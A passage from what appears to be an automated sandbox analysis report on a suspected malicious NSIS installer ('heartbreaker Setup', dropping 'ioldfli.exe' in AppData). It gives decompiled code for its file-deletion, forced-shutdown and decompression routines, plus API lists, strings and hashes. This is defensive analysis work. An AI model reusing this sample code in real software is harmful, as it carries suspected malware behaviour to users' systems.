															__eflags = _t60;
															if(_t60 != 0) {
																 *_t100(0, "SeShutdownPrivilege",  &_v400);
																_v416 = 1;
																_v404 = 2;
																 *_t97(_v420, 0,  &_v416, 0, 0, 0);
															}
														}
													}
												}
												_t56 = ExitWindowsEx(2, 0);
												__eflags = _t56;
												if(_t56 == 0) {
													E0040140B(9);
												}
											}
											_t52 =  *0x423f2c; // 0xffffffff
											__eflags = _t52 - 0xffffffff;
											if(_t52 != 0xffffffff) {
												_v400 = _t52;
											}
											ExitProcess(_v400);
										}
										E0040529E(_v408, 0x200010);
										ExitProcess(2);
									}
									_t113 =  *0x423e9c; // 0x0
									if(_t113 == 0) {
										L31:
										 *0x423f2c =  *0x423f2c | 0xffffffff;
										_v400 = E00403526();
										goto L32;
									}
									_t103 = E004054FB(_t96, 0);
									while(_t103 >= _t96) {
										__eflags =  *_t103 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t103 = _t103 - 1;
										__eflags = _t103;
									}
									_t115 = _t103 - _t96;
									_v408 = "Error launching installer";
									if(_t103 < _t96) {
										lstrcatA(_t105, "~nsu.tmp");
										_t101 = "C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa";
										if(lstrcmpiA(_t105, "C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa") == 0) {
											goto L32;
										}
										CreateDirectoryA(_t105, 0);
										SetCurrentDirectoryA(_t105);
										_t120 = "C:\\Users\\engineer\\AppData\\Local\\Temp"; // 0x43
										if(_t120 == 0) {
											E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t101);
										}
										E004059DD(0x424000, _v396);
										 *0x424400 = 0x41;
										_t98 = 0x1a;
										do {
											_t71 =  *0x423e90; // 0x5de1a0
											E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)(_t71 + 0x120)));
											DeleteFileA(0x41f030);
											if(_v416 != 0 && CopyFileA("C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa\\ioldfli.exe", 0x41f030, 1) != 0) {
												_push(0);
												_push(0x41f030);
												E0040572B();
												_t77 =  *0x423e90; // 0x5de1a0
												E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)(_t77 + 0x124)));
												_t79 = E0040523D(0x41f030);
												if(_t79 != 0) {
													CloseHandle(_t79);
													_v416 = 0;
												}
											}
											 *0x424400 =  *0x424400 + 1;
											_t98 = _t98 - 1;
										} while (_t98 != 0);
										_push(0);
										_push(_t105);
										E0040572B();
										goto L32;
									}
									 *_t103 = 0;
									_t104 = _t103 + 4;
									if(E004055B1(_t115, _t103 + 4) == 0) {
										goto L32;
									}
									E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t104);
									E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t104);
									_v424 = 0;
									goto L31;
								}
								GetWindowsDirectoryA(_t105, 0x3fb);
								lstrcatA(_t105, "\\Temp");
								_t89 = E00403097(_t110);
								_t111 = _t89;
								if(_t89 == 0) {
									goto L32;
								}
								goto L22;
							}
							goto L15;
						}
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 = _t44 + 1;
						__eflags =  *_t44 - 0x20;
					} while ( *_t44 == 0x20);
					goto L5;
				}
				goto L20;
			}

APIs

#17.COMCTL32 ref: 004030EA
SetErrorMode.KERNELBASE(00008001), ref: 004030F5
OleInitialize.OLE32(00000000), ref: 004030FC

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

SHGetFileInfoA.SHELL32(0041F430,00000000,?,00000160,00000000,00000008), ref: 00403124

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,heartbreaker Setup,NSIS Error), ref: 004059EA

GetCommandLineA.KERNEL32(heartbreaker Setup,NSIS Error), ref: 00403139
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 0040314C
CharNextA.USER32(00000000,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000020), ref: 00403177
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040320A
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040321F
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040322B
DeleteFileA.KERNELBASE(1033), ref: 0040323E
OleUninitialize.OLE32(00000000), ref: 004032BC
ExitProcess.KERNEL32 ref: 004032DC
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000,00000000), ref: 004032E8
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000,00000000), ref: 004032F4
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403300
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403307
DeleteFileA.KERNEL32(0041F030,0041F030,?,00424000,?), ref: 00403351
CopyFileA.KERNEL32(C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,0041F030,00000001), ref: 00403365
CloseHandle.KERNEL32(00000000,0041F030,0041F030,?,0041F030,00000000), ref: 00403392
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004033E7
ExitWindowsEx.USER32(00000002,00000000), ref: 00403423
ExitProcess.KERNEL32 ref: 00403446

Strings

/D=, xrefs: 004031CD
C:\Users\user\AppData\Roaming\fatbtifdnumsa, xrefs: 004032ED, 004032F2, 00403315
C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe, xrefs: 00403360
~nsu.tmp, xrefs: 004032E2
", xrefs: 00403199
1033, xrefs: 00403239
\Temp, xrefs: 00403225
SeShutdownPrivilege, xrefs: 004033F9
heartbreaker Setup, xrefs: 0040312F
NCRC, xrefs: 004031B7
C:\Users\user\AppData\Local\Temp\, xrefs: 004031FF, 00403204, 0040321E, 0040322A, 004032E7, 004032F3, 004032FF, 00403306, 004033A6
NSIS Error, xrefs: 0040312A
Error launching installer, xrefs: 00403274
"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 0040313F, 00403145, 0040325B
C:\Users\user\AppData\Local\Temp, xrefs: 004031F5, 0040328E, 0040330D, 00403316
_?=, xrefs: 00403265
C:\Users\user\AppData\Local\Temp, xrefs: 00403299

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" $1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\fatbtifdnumsa$C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$heartbreaker Setup$~nsu.tmp
API String ID: 2278157092-1927096792
Opcode ID: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction ID: cc286ec977d2638fbe9c092aa5ad16f4889e12429ffafd7da1ab197300c5bae6
Opcode Fuzzy Hash: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction Fuzzy Hash: 9691B170A08340AED7216F619D49B6B7EACEB0530AF44047FF581B62D2C77C9E458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405302(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E004055B1(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423f08 =  *0x423f08 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E004059DD(0x421480, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E00405517(_t72);
					} else {
						lstrcatA(0x421480, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x421480,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004054FB( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E004059DD(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E00405695(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404D7B(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423f08 =  *0x423f08 + 1;
										} else {
											E00404D7B(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E0040572B();
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405302(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x421480 - 0x5c;
					if( *0x421480 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405CD8(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E004054D0(_t72);
							E00405695(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404D7B(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404D7B(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E0040572B();
						}
						L33:
						 *0x423f08 =  *0x423f08 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

APIs

DeleteFileA.KERNELBASE(?,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 00405320
lstrcatA.KERNEL32(00421480,\*.*,00421480,?,00000000,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 0040536A
lstrcatA.KERNEL32(?,00409010,?,00421480,?,00000000,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 0040538B
lstrlenA.KERNEL32(?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 00405391
FindFirstFileA.KERNEL32(00421480,?,?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 004053A2
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 00405454
FindClose.KERNEL32(?), ref: 00405465

Strings

"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 0040530C
\*.*, xrefs: 00405364
C:\Users\user\AppData\Local\Temp\, xrefs: 00405302

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3262938585
Opcode ID: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction ID: 4b200e60d3e8d58e0ab6cbb93b3ca9934a2dcfa31e3b076817fab6d13423d761
Opcode Fuzzy Hash: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction Fuzzy Hash: 45511230844A48B6DB226B228C45BFF3A78DF4275AF14813BF845751D1C77C4981DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00405FA8() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4)); // executed
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
